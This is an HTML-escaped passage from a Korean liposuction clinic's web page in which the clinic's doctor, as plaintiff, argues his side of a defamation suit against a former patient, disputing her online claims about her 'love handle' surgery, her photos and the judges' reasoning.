것이 명확하게 증명이 됩니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;그러나 비만도(BMI)가 21정도 되는 피고의 체형에서 옆구리 지방층의 두께는 원고의 경험이나 여러 논문에서는 10mm를 넘지 않습니다. 따라서 피고가 인터넷상에 옆구리에 28mm가 남았다고 작성한 게시물은 T의원의 진료기록에도 사실이 아니고, 실제 남은 지방층는 절대 될 수 없는 것입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;옆구리지방층두께논문.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/97d78f0fade49c09d52a4a1386b8f3cd.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp; &amp;lt;피고와 비슷한 체형에서 초음파를 이용한 옆구리 지방층 두께 논문&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;[참고자료]&lt;br /&gt; &lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;519912&quot;&gt; 옆구리의 피하지방층 두께에 대한 논문 정리&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;또한 간호인력으로 추정되는 사람이 피고의 모습을 촬영 하었으며,&amp;nbsp; 2017.1.23. 수술당일에는 2017.1.16. 촬영한 사진으로 대체하였다고 기록되어 있습니다. 따라서 T의원은 수술당일 수술전후사진과 디자인 사진을 촬영하지 않았으면서도, 수술당일인 2017.1.23.일 촬영했다는 사진과 수술후 4개월이 지난 2017.5.22.에 촬영했다는 사진이라며 정면 사면 후면 사진 총 3장을 제출한 것입니다. 또한 인터넷에 게제한 사진과 옷과 체형이 달랐습니다.(갑제11호증. 을제9호증)&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;T의원은 수술 디자인 사진을 제출하지 않았지만 진료기록부에 수술부위가 수기로 그려져 있어서 수술부위를 추측할 수 있습니다. 또한 수술기록지에 절개구는 꼬리뼈 부위에 1개의 절개구가 있는 것으로 되어 있으므로 T의원에서 피고는 엎드린 자세에서 몸통의 후면, 즉 뒷등(뒷구리) 부위를 수술 받았음을 알 수 있습니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;아래는 T의원의 진료기록부에 작성된 수술도안 그림으로 수술부위가 엎드린 상태에서 수술을 받아야 하는 몸통의 후면 즉, &amp;ldquo;뒷등과 뒷구리&amp;rdquo;임을 알 수 있습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;그러나 피고는 이렇게 두 병원의 수술부위가 서로 명확하게 다름에도 불구하고 러브핸들이라는 명칭을 이용하여 비너스의원이 옆구리에 돈만 받고 수술을 하지 않아 T의원에서 옆구리에 재수술을 받았다고 거짓말을 하였던 것입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;한편 T의원은 꼬리뼈 절개구를 이용하여 투메슨트 액을 1200ml 주입하고 뒷등(뒷구리)의 지방흡입을 하였는데 예상되는 총흡입량은 주입량의 1/3~1/2정도 되므로 400~ 600ml 정도 되어야 하고 지방량은 350ml가 예상됩니다. 그러나 T의원의 수술기록지에는 총 흡입량이 850ml이고 지방량이 450ml 제거되었다고 하는데 이는 과도한 것입니다. 또한 1200ml가 주입되는 수술부위라면 수술시간도 30분이면 족한데 1시간 13분이니 수술시간도 너무 많이 걸렸습니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;종합하면, 러브핸들은 몸통의 측면에 돌출된 지방이고, 뒷구리는 러브핸들이 몸통의 후면으로 확장되는 부위를 말합니다. 그리고 피고는 비너스의원에서 옆구리에 있는 절개구 2개를 이용하여 누운 자세에서 몸통의 전면과 측면 즉, 전측복부와 옆구리(러브핸들)을 수술을 받았고 T의원에서는 꼬리뼈 절개구 1개를 이용하여 엎드린 자세에서 몸통의 후면, 즉 뒷등(뒷구리)를 수술 받았습니다.&amp;nbsp;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;지방흡입모식도2.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/48fbae817684633a82ccf299dd61bb39.jpg&quot; width=&quot;75%&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;lt;2번은 원고 수술후 모식도이고, 3번은 T의원 수술후 지방층 모식도&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;위 피하지방층 모식도를 생각해서 원고와 T의원의 수술전후 사진을 비교해 보면 원고의 수술 후에는 몸통의 후면 즉 뒷등 부분의 피하지방층은 남아 있기 때문에 이와 연결되어 있는 옆구리 지방은 당연히 남아 있는 것처럼 보일 것입니다.&amp;nbsp;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;의사는 아랫배만 수술을 원하는, 계약한 사람에게 윗배도 수술해 주어야 하는 것입니까? 그러나 아랫배만 수술하는 사람보다 아랫배와 윗배를 수술하는 사람의 아랫배 수술결과가 더 좋습니다. 왜냐하면 아랫배와 윗배는 서로 연결이 되어 있으니까 수술경계 부위를 절벽처럼 절단 할 수는 없으니까 그렇습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;피고는 전측복부와 옆구리만 계약을 했는데 원고가 뒷등도 수술해 주어야 하는 것입니까? 그러나 전측복부 + 옆구리 수술을 받은 사람보다 전측복부 + 옆구리 + 뒷등(뒷구리)을 수술 받은 사람의 옆구리 수술결과가 더 좋습니다. 왜냐하면 옆구리와 뒷구리는 서로 연결되어 있으며 옆구리와 뒷구리 경계부위를 딱 절벽처럼 절단 하여 수술할 수 없으니까 그렇습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;원고는 이러한 내용을 피고에게 설명하여 이해하고 있었으며 피고는 유방지방이식을 하지 않고 뒷구리를 수술 받을 걸 그랬다고 후회하기도 했습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;비너스의원간호일지.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/d6fdc2b7bf4dfce80c5a5480096e63f3.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;lt;2016.4.12.자 원고의 간호기록지&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;피고가 T의원에서 받은 사진은 인터넷에 올린 사진과 다른 사진으로&amp;nbsp;동일한 크기의 박스를 그려넣어 보면 역시 수술후 사진의 골반 크기가 작고 옆구리의 돌출에 포토샵 흔적이 있습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;T의원의 진료기록에 의하면 피고는 엎드린 자세에서 꼬리뼈 절개구로 몸통의 후면 즉, 뒷등(뒷구리)를 수술 받았음이 명확하므로 피고가 T의원에서 &amp;ldquo;옆구리(러브핸들)에 재수술 받았다&amp;rdquo;라는 게시글은 허위사실입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h5 class=&quot;headline left-line mBottom20&quot; id=&quot;debak04&quot;&gt;4. 피고는 러브핸들을 옆구리에 있는 지방으로 인식하고 게시글을 작성하였습니다. 또한 허리는 갈비뼈와 힙(골반)사이에 가는 부위를 말하는 것으로 허리가 아프다는 맥락이 아니라 허리가 가늘다는 맥락으로 사용하는 것입니다.&lt;/h5&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;1심 판사가 피고가 인식하고 있는 러브핸들은 135도 225도 부근(뒷등 부분임)으로 &amp;rdquo;이 사건&amp;nbsp; 허리&amp;ldquo;부분이라고 명명한 것은 명백하게 잘못된 것입니다. 원고는 준비서면을 통해 피고는 인터넷 게시글에서 &amp;lsquo;허리&amp;rsquo;라는 이름을 사용하지 않았음을 지적하였고, 135도 225도 부분은 원고와 피고가 계약하지 않는 부위임을 지적하였음에도 1심에 이어 2심 판사도 역시 러브핸들을 &amp;rdquo;이 사건 허리&amp;ldquo; 부위라고 명명하면서 피고에게 면죄부를 주었습니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;아래는 네이트 판, 네이버 블로그, 카페, 지식인에 작성하였던 글이며, 피고가 러브핸들과 옆구리를 동일한 부위로 인식하고 있다는 것을 증명하는 게시글 내용입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;러브핸들명칭1.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/484f2945754c9df70f5c240ef28acca5.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;러브핸들명칭4.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/5f81a0b5c6ad114ab89e17470fb75dc4.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;부작용_68924_1.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/374d1be8ebdaa01c5f5a41141c3ccb74.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;수술하지않음1.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/d04da3e3a9863cffe785b5e71cce05e1.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;수술하지않음2.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/b1b8829d3a147c391cc8b1b7f5fc9a0d.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;초음파지방두께.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/ef78616a8eb1e1c5bd45ab8d6eb9679f.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;초음파지방두께2.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/2d2c2ba76667103b4aed318f637fa8b9.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;1년가량실갱이.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/e316acbb182753cf39a3ee0a7d15367d.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;음주운전_2017-06-05-19-41.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/fc68ab7908657c4f24afecca816f668d.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;850ml.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/d126b266445b23c5a4b3c5cee028a8ee.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;alert alert-danger&quot;&gt; &lt;p&gt;원심은 위키피디아, 그리고 대한의사협회가 &amp;quot;러브핸들은 몸통의 측면인 옆구리에 돌출된 지방조직&amp;quot;이라고 했음에도, 피고가 몸통에서 135도와 225도 부근 즉 뒷등 부위를 러브핸들이라고 인식하고 있으며 이 부위를 &amp;quot;허리&amp;quot;라고 새롭게 정의하여 부르며 상식에 어긋한 판결을 한 것입니다.&lt;/p&gt; &lt;/div&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h5 class=&quot;headline left-line mBottom20&quot; id=&quot;debak05&quot;&gt;5. 피고의 주된 취지는 T의원의 진단서를 이용하여 원고가 옆구리에 돈을 받고 수술을 하지 않았다고 사기 당했다고 하였고, T의원에서 옆구리(러브핸들)에만 재수술을 받아 원고가 근육이라 우기던 지방이 제거되었다는 내용이었습니다.&amp;nbsp;&lt;/h5&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;원고는 피고가 T의원에서 수술받기 전인 2017.1.21. T의원 CC와 전화통화를 하여 T의원은 러브핸들이 옆구리(flank)와는 명확하게 구분되는 부위라고 잘못 인식하고 있으며, 앞쪽에서는 수술이 불가능하고 엎드려서 접근하여 수술을 받아야 하는 사실상 뒷등(뒷구리)부위를 러브핸들로 잘못 인식하고 있다는 것을 알게 되었습니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;그러므로 T의원이 진단서에 진단명으로 작성했던 &amp;ldquo;러브핸들&amp;rdquo;은 옆구리가 아니라 등쪽으로 확장된 부위인 소위 &amp;ldquo;뒷구리&amp;rdquo;를 의미하고 있다는 것 이해해야합니다. 이는 증거로 제출한 T의원의 CC와의 통화 녹취록을 읽어 보면 명확하게 알 수 있습니다(갑제9-3호).&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;span style=&quot;white-space:pre&quot;&gt; &lt;/span&gt;그리고 원고는 원고의 홈페이지 닥터칼럼에 이러한 내용을 게시글로 작성하여 피고가 잘못 알고 있음을 알렸습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;진단서_이잎새.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/4bb84dcf3a88ae98bd0f47f2156235b5.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;lt;피고가 인터넷에 게제했던 T의원의 진단서로 이름만 지웠음&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;일반인들에게 러브핸들과 옆구리는 동일한 부위로 받아들여지고 있는 상황에서 피고는 러브핸들 또는 옆구리를 혼용하면서 옆구리에만 재수술을 받았고, 옆구리에 28mm가 남았다고 하는 등등 T의원의 진단서를 이용하여 다른 사람들에게 비너스의원에 옆구리에 돈만 받고 수술하지 않았다는 근거로 사용했습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;원고는 대한의사협회에 감정촉탁신청을 하여 러브핸을은 옆구리에 있는 살이고 T의원의 진단서에 문제가 있다는 답변을 받았습니다(갑제4호증).&amp;nbsp; 그리고 원고는 2019.2.25.일자 준비서면을 통해 T의원에 사실조회 신청으로 받은 피고의 진료기록부에도 문제가 있음을 준비서면을 통해 설명했습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;그러므로 판사는 아래 T의원이 발급한 진단서의 내용을 달리 해석했어야 합니다. T의원 진단서는 수술부위가 명목상으로 러브핸들로 되어 있지만 실제는 원고가 피고와 계약하지 않는 뒷등(뒷구리)에 대한 진단서로서 원고가 옆구리 수술을 하지 않았다는 근거로 사용될 수 없습니다. 또한 지방흡입후 유착은 대부분 과도한 지방흡입으로 발생하는 것으로 국내 여러 지방흡입을 중점으로 수술하는 의사들의 설문조사 결과에도 T의원이 유착여부로 재수술여부를 판정한다는 것은 합리적인 판단이 아니라는 것을 지적한 바 있습니다(갑제21호증).&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;피고는 원고가 명예훼손으로 피고를 고소를 하자 T의원에서 발급받은 위 진단서와 조작된 사진을 증거로 제출하여 무혐의 처분을 받았습니다. 당시에 원고는 T의원의 진료기록을 확보하지 못했음으로 위 진단서가 잘못 작성되었다는 것을 입증 할 수가 없었습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;그리고 피고는 T의원에서 촬영했다는 사진을 제시하면서 원고가 근육이라고 우겼던 옆구리 돌출이 제거되었다고 주장하였습니다. 지방흡입으로 환자의 신장과 골반의 크기는 변화될 수 없습니다. 그러나 피고가 게제한 수술후 사진은 수술전 사진보다 신장이 더 크거나, 골반의 크기가 작아서 포토샵으로 조작한 사진입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;더욱이 피고는 원고에게 몸통의 전면과 측면을 수술 받았고 그 이후 T의원에서 후면을 추가로 수술을 받았음으로 원고가 수술한 사진과 T의원이 수술 한 사진을 비교하는 것은 조건이 달라 비교대상이 아님에도 피고는 다른 사람들에게는 T의원에서 옆구리에 재수술을 받았다고 거짓말을 하면서 조작한 수술후 사진으로 원고 병원과 T의원의 수술실력을 비교하였습니다. 피고가 이렇게 조작한 사진으로 원고가 옆구리에 수술을 하지 않았다고 비방한 것은 매우 악의적인 행동이라 생각됩니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;아래 사진은 피고가 안티성형카페에 올린 사진으로 수술전후 사진에 동일한 크기의 빨간색 박스를 그려 넣어 보면 수술후 사진의 키가 더 큽니다. 즉 수술후 사진은 아바타처럼 허리가 길게 조작한 사진이거나 다른 사람의 사진입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;img alt=&quot;카페게시사진1.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/d100c3782aae638f05322d4efa858a1d.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;lt;인터넷에 올린 수술후 사진에서 신장이 더 크다&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;또한 아래 사진은 피고가 자신의 블로그에 올린 수술전후 사진으로 역시 수술전후 사진 모두 동일한 크기와 빨간색 박스를 그려 넣어 보면 수술후 사진에서 골반의 크기가 더 작음을 알 수 있습니다. 따라서 수술후 사진은 고의적으로 옆구리의 길이를 줄여 조작한 사진이거나 엉덩이와 등의 모습도 서로 달라서 다른 사람의 사진입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&amp;nbsp;&lt;img alt=&quot;홈피글_음주4_2019-11-07 102955_.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/b41dc8b3616b2ce15597bf8bf3e553b1.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;lt;인터넷에 올린 수술후 사진에서 골반의 크기가 더 작다&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;피고는 허위 진단서와 수술전후사진을 조작하는 방법으로 검찰에서 명예훼손에 대하여 무혐의 처분을 받고나서 게시글의 게제를 계속하였고 원고는 영업에 방해를 받아 손해배상 청구소송을 하였습니다. 원고는 본 소송을 통해 T의원에 사실조회신청을 하여 T의원이 작성한 진단서와 진료기록부를 확인 할 수 있었습니다. 그리고 2019.2.25.일자 준비서면을 통해 위와 같이 피고가 T의원에서 실제로는 꼬리뼈 절개구를 이용하여 엎드린 자세에서 뒷구리와 뒷등을 수술 받았으면서 허위 진단서를 이용하여 러브핸들에 재수술을 받은 것처럼 행세하고 있음을 설명하였습니다. 또한 2심에서는 2020.7.29.일자 준비서면을 통해 국내 지방흡입수술 전문 의사들에 대한 설문조사 결과를 제시하고 T의원의 진료기록의 문제점과 수술전후사진이 조작되었음을 설명하였습니다.&amp;nbsp;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;원고가 국내의 지방흡입 의사들의 설문조사 결과지를 제시했음에도 여전히 T의원의 진단서를 신뢰하였고, 똑 같은 크기의 상자를 그려넣어 비교해 보면 이렇게 명백하게 수술전후사진이 조작되었음이 보임에도 사진 조작의 증거가 없다고 한 것은 2심이 피고에게 면죄부를 주기 위해 진실에 눈을 감았다고 봐야 합니다.&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h5 class=&quot;headline left-line mBottom20&quot; id=&quot;debak06&quot;&gt;6. 1심과 2심 판사가 판결문에 작성한 내용 중 잘못된 것은 아래와 같습니다.&lt;/h5&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;① 피고가 제대로 수술되지 않았다고 주장하는 부위는 옆구리에서 등으로 넘어가는 부위(135도와 225도)에 위치하는 허리 부위, 피고가 &amp;ldquo;러브핸들&amp;rdquo;이라고 부르는 부위이다. 피고가 이 사건 수술 이후인 2017.1.16. T의원의원에서 이 사건 허리 부위의 피하지방 두께를 측정한 결과 24~26mm로 측정되었고, 이 사건 허리 부위에 대한 지방흡입수술을 하였던 T의원의원 소속 의사 CL은 2017. 2 .6.경 이 사건 허리 부위에 특별한 유착이 느껴지지 않았던 것으로 보아 재수술이 아닌 것으로 추정된다는 의견을 표시했다(서용승이 피고에 대하여 시행한 지방흡입수술이 재수술이 아니라는 의미로서 기존에 이 사건 허리 부위의 수술이 이루어지지 않았었다는 의견으로 보인다).&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;[러브핸들은 옆구리에 돌출된 지방조직입니다. 피고도 러브핸들은 옆구리에 있다고 인식하고 있습니다. 왜냐하면, 게시글에서 대부분 &amp;ldquo;옆구리(러브핸들)&amp;rdquo;처럼 작성하였으며,&amp;nbsp; 옆구리에 수술이 안되었다, 옆구리에만 재수술을 받았다라고 많은 글을 게시했기 때문입니다. 카페 회원이 T의원은 러브핸들을 어디라고 생각하느냐는 질문에도 피고는 러브핸들은 등과 구분되는 옆구리와 동일한 부위로 설명하고 있습니다. 또한 판사는 피고가 뒷등으로 넘어가는 곳(135도와 225도)에 러브핸들이 위치하는 것으로 인식한다고 했는데 피고는 게시글에서 &amp;lsquo;허리에 수술이 되지 않았다&amp;rsquo;고 말한 적이 단 한번도 없으며 오히려 옆구리(러브핸들)과 허리, 엉덩이골을 구분하여 사용하고 있으면서 옆구리(러브핸들)에 수술이 되지 않았다고 말했습니다.&amp;nbsp;&lt;br /&gt; &amp;nbsp;&lt;/p&gt; &lt;p&gt;참고로 갈비뼈와 힙(골반뼈 위)사이로 몸통에서 잘록한 부위를 &amp;ldquo;허리(waist)&amp;rdquo;라고 부릅니다. 그래서 허리가 가늘면 날씬하다고 표현하는 것입니다. 그러므로 원고는 준비서면을 통해 1심에서 꼬리뼈 절개구에서만 접근이 가능한 &amp;ldquo;뒷등&amp;rdquo; 부위를 &amp;ldquo;허리&amp;rdquo;라고 표현하는 것은 잘못된 것임을 지적했음에도 2심에서 다시 이 사건 &amp;lsquo;허리&amp;rsquo; 라고 인용한 것은 상식과 전문가를 무시하는 판결인 것입니다. 결과적으로 원심의 판결에 의하면&amp;nbsp;원고는 돈만 받고 &amp;quot;옆구리(러브핸들)&amp;quot;에 수술을 하지 않는 것이 아니라 &amp;quot;허리&amp;quot;를 수술하지 않은 의사가 되었습니다.]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;러브핸들명칭2.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/7b327e43d2f8aeac0be831ae27553933.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;러브핸들명칭4.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/5084032f0ad61d481eb7d4762b128806.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;러브핸들명칭1.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/729e826b8c703c23208f8c1ca91e7dc1.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;② 피고는 이 사건 수술 이후 원고와 상담하기 위해 비너스의원의 상담 실장과 여러 차례 전화 및 문자로 연락을 한 것으로 보이는데 원고의 건강 상태가 좋지 않아 상담 일정을 맞추지 못한 적이 있는 것으로 보이고, 비너스의원의 상담 실장과 통화하던 중 상담 실장이 제사를 해야 된다는 이유로 통화를 끊은 사실이 있는 것으로 보인다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;[피고는 &amp;ldquo;수술후 나몰라라 하고 전화를 잘 받지 않는다.&amp;rdquo; 라고 하였습니다. 원고는 피고를 수술 후 한 달여 치료를 하였고 전화나 메시지도 성실히 응대하였으며, 수술 후 합병증이나 문제점이 없었습니다.&amp;nbsp;&lt;br /&gt; &amp;nbsp;&lt;/p&gt; &lt;p&gt;피고는 2017.1.18. 저녁시간에 갑자기 전화하였으며 제사 준비 중에 상담실장에게 전화와 메시지를 하는 무례를 범하였습니다만 상담실장은 제사를 마치고 저녁 늦은 시간게 피고에게 전화하여 1시간 넘게 통화를 하였습니다.&amp;nbsp;&lt;br /&gt; &amp;nbsp;&lt;/p&gt; &lt;p&gt;그리고 피고와 상담실장의 2017.1.20.일 문자 메시지 내용을 보면 피고는 2017.1.23. 원고 비너스의원에 내원하겠다고 예약했다가 스스로 취소하였습니다.&amp;nbsp;&lt;br /&gt; &amp;nbsp;&lt;/p&gt; &lt;p&gt;그리고 나서 2017.1.21. 원고가 피고에게 직접 전화하여 토요일과 일요일 야간이라도 무료로 진찰을 해주겠다고 하였음에도 병원진찰을 받지 않았으면서 옆구리에 지방이 28mm 남았다고 항의하였습니다(갑제9-1호 원고와 피고의 녹취록).&lt;br /&gt; &amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;span style=&quot;white-space:pre&quot;&gt; &lt;/span&gt;이렇게 피고는 원고의 건강상태로 인해 상담일정을 맞추지 못한 적이 없으며 피고가 원고의 비너스의원 진료 예약를 자의적으로 취소했습니다. 또한 피고의 최초 항의일인 2017.1.18.부터 T의원에서 수술을 받은 2017 23. 사이 상담실장 및 원고는 피고와의 전화통화를 피하지 않았으며 오히려 무료로 상담 및 진료를 예약 해 주었습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;수술이 안되었다고 갑자기 전화하여 항의 하고 내원하여 진찰은 회피하는 환자에게 의사는 더 이상 어떻게 해주어야 한단 말입니까?&lt;br /&gt; &amp;nbsp;&lt;/p&gt; &lt;p&gt;원심의 논리는 의사와 상담실장을 노예로 생각하여 피고가 비용도 지불하지 않았는데 응급상황도 아니고, 야간에 갑자기 전화를 해서 항의하는 상황에서 전화를 응대해야 하고 진찰을 해주어야 하는 것입니다. ]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;③ 이 사건 게시글 중 피고가 복부지방흡입 수술비로 500만 원을 지급하였다는 내용을 확인하기 어렵지만, 피고는 이 사건 수술 및 유방확대수술 비용으로 4,449,000원을 지급하였는 바, 이 사건 수술로 만족스러운 결과를 얻지 못했음을 표시하기 위하여 대략적인 수술 비용을 일부 과장한 것으로 보인다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;[피고가 &amp;ldquo;복부지방흡입 수술비를 500만원을 냈다&amp;rdquo;라고 게제한 내용은 순번 88번 블로그 게시글에 있습니다. 피고는 복부와 옆구리 지방흡입 수술비로 259만원을 지불하였습니다. 피고가 자신의 블로그에 작성한 내용을 보면 피고는 상담실장에게 수술내역을 전달 받아 지방흡입 수술비용을 알고 있음에도 고의적으로 원고 병원의 지방흡입 비용이 비싼 것처럼 비방할 목적으로 게시글을 작성한 것입니다. 수술에 만족스럽지 못하다고 복부지방흡입 수술비용을 241만월이나 더 받았다고 거짓말을 하면 지방흡입에 관심이 있는 사람들에게 허위정보를 제공하여 원고의 병원에서 수술을 막는 것입니다. ]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;수술비용기재.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/fe5ecfe9442863c26970830a5d4fe3bf.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;lt; 피고가 블로그에 올린 원고 병원에서의 수술비용 상세 내역&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;500만원주고.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/801a71d420068a1e09340a7c91991614.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;lt;순번88번&amp;nbsp; 2017.7.17. 작성된 네이버 블로그 게시글&amp;gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;④ 피고가 이 사건 수술 이후 T의원의원에서 이 사건 허리 부위의 피하지방 두께를 측정한 결과 24~25mm였음에도 이 사건 게시글에 